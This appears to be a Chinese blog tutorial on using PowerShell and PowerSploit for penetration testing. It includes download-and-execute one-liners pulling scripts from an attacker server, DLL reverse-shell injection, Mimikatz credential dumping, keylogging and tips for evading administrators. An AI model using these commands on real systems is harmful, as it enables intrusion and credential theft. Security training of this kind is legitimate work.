渗透利器之Powershell

前言


Powershell是Microsoft Windows命令行shell程序和脚本环境,它提供了令人难以置信的灵活性和功能来管理Windows系统,现在Windows系统上基本上都有它的存在。正因为它的强大,才能被我们所利用,帮助我们进行渗透测试。

Powershell的优秀之处


1. 代码运行在内存中可以不去接触磁盘

2. 从另一个系统中下载代码并执行

3. 很多安全产品并不能监测到powershell的活动

4. cmd.exe通常被阻止运行,但是powershell不会。

各个Windows下powershell版本

渗透利器之Powershell

Powershell运行选项


以下介绍了渗透测试过程中我们经常要使用到的powershell运行选项

-WindowsStyle Hidden 隐藏自己的窗口

-ExecutionPolicy Bypass 绕过策略

Powershell脚本默认情况下无法在cmd下或双击执行,这时我们就可以使用这个选项绕过。

PowerSploit


PowerSploit是GitHub上面的一个安全项目,上面有很多powershell攻击脚本,它们主要被用来渗透中的信息侦察、权限提升、权限维持。

项目地址:https://github.com/PowerShellMafia/PowerSploit

一、代码执行(CodeExecution)

1. Invoke-DllInjection

2. Invoke-ReflectivePEInjection

3. Invoke-Shellcode

4. Invoke-WmiCommand

二、脚本修改(ScriptModification)

1. Out-EncodedCommand

2. Out-CompressedDll

3. Out-EncryptedScript

4. Remove-Comments

三、权限维持(Persistence)

1. New-UserPersistenceOption

2. New-ElevatedPersistenceOption

3. Add-Persistence

4. Install-SSP

5. Get-SecurityPackages

四、绕过杀毒软件(AntivirusBypass)

Find-AVSignature

五、信息收集(Exfiltration)

这个文件夹主要是收集目标主机上的信息。

六、信息侦察(Recon)

这个文件夹主要是以目标主机为跳板进行内网主机侦察。

搭建PowerSploit脚本服务器


1. 下载PowerSploit到服务器

渗透利器之Powershell

2. 启动Apache

3. 查看是否成功搭建

渗透利器之Powershell

实战运用


由于篇幅问题,我们不可能针对每一个脚本都进行详细的介绍,所以这里我们来介绍一下实战中最常用到的脚本。

IEX远程下载脚本执行:

IEX(New-Object Net.WebClient).DownloadString(“脚本地址”)

获取Shell:

1.  Invoke-DllInjection

将DLL文件注入到当前进程中

我们首先来生成一个DLL反弹马

渗透利器之Powershell

在目标机上保存msf.dll到本地

渗透利器之Powershell

我们下载Invoke-DllInjection脚本

渗透利器之Powershell

运行一个隐藏进程并注入DLL反弹木马

渗透利器之Powershell

可以看见Meterpreter会话成功建立了

渗透利器之Powershell

2. Invoke-Shellcode

在当前进程中注入Shellcode

Powershell调用Windows API非常方便,所以也可以直接来执行Shellcode。PowerSploit也提供了一些Shellcode,看下图:

渗透利器之Powershell

扩大成果-内网端口扫描


1. 我们先下载Invoke-Portscan

渗透利器之Powershell

2. 结果

渗透利器之Powershell

获取主机密码


为了不让管理员发现,我们不能再目标机上添加任何账户,这时候我们就需要来获取管理员密码来维持访问。这里我们就需要使用到脚本Invoke-Mimikatz,注意需要管理员权限。

1. 下载脚本

渗透利器之Powershell

2. dump密码

Invoke-Mimikatz –DumpCreds

渗透利器之Powershell

再来一个大杀器-键盘记录

渗透利器之Powershell

这样它就进行键盘记录,不仅有键盘输入记录还有鼠标输入记录,而且还有很详细的时间,实战使用的时候,我们就要在放入后台运行。

漏洞探测-攻击进行时


下载脚本:

IEX(New-Object Net.WebClient).DownloadString("http://192.168.6.133/PowerSploit/Privesc/PowerUp.ps1")

Invoke-AllChecks:输出可识别的漏洞

渗透利器之Powershell

自学指南-Get Help


脚本很多,很难一一介绍,剩下就要自己来尝试了,但是网上基本上找不到使用教程,所以就需要来获取帮助信息,来帮助自己学习。

比如Invoke-DllInjection

下载脚本:

IEX(New-Object Net.WebClient).DownloadString("http://192.168.6.133/PowerSploit/CodeExecution/Invoke-DllInjection.ps1")

获取帮助信息:

Get-Help Invoke-DllInjection

渗透利器之Powershell
查看事例:

Get-Help Invoke-DllInjection -Examples

渗透利器之Powershell
查看详细信息:

Get-Help Invoke-DllInjection –Detailed

渗透利器之Powershell

结束语


Powershell实在是太强大了,可以说是内网渗透利器,继续深入研究,下一篇文章我们就不再是使用别人的脚本了,本篇文章的作用主要还是在于引导,大家还是要多用多练,才能在实践中灵活的运用。

 

美食家

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: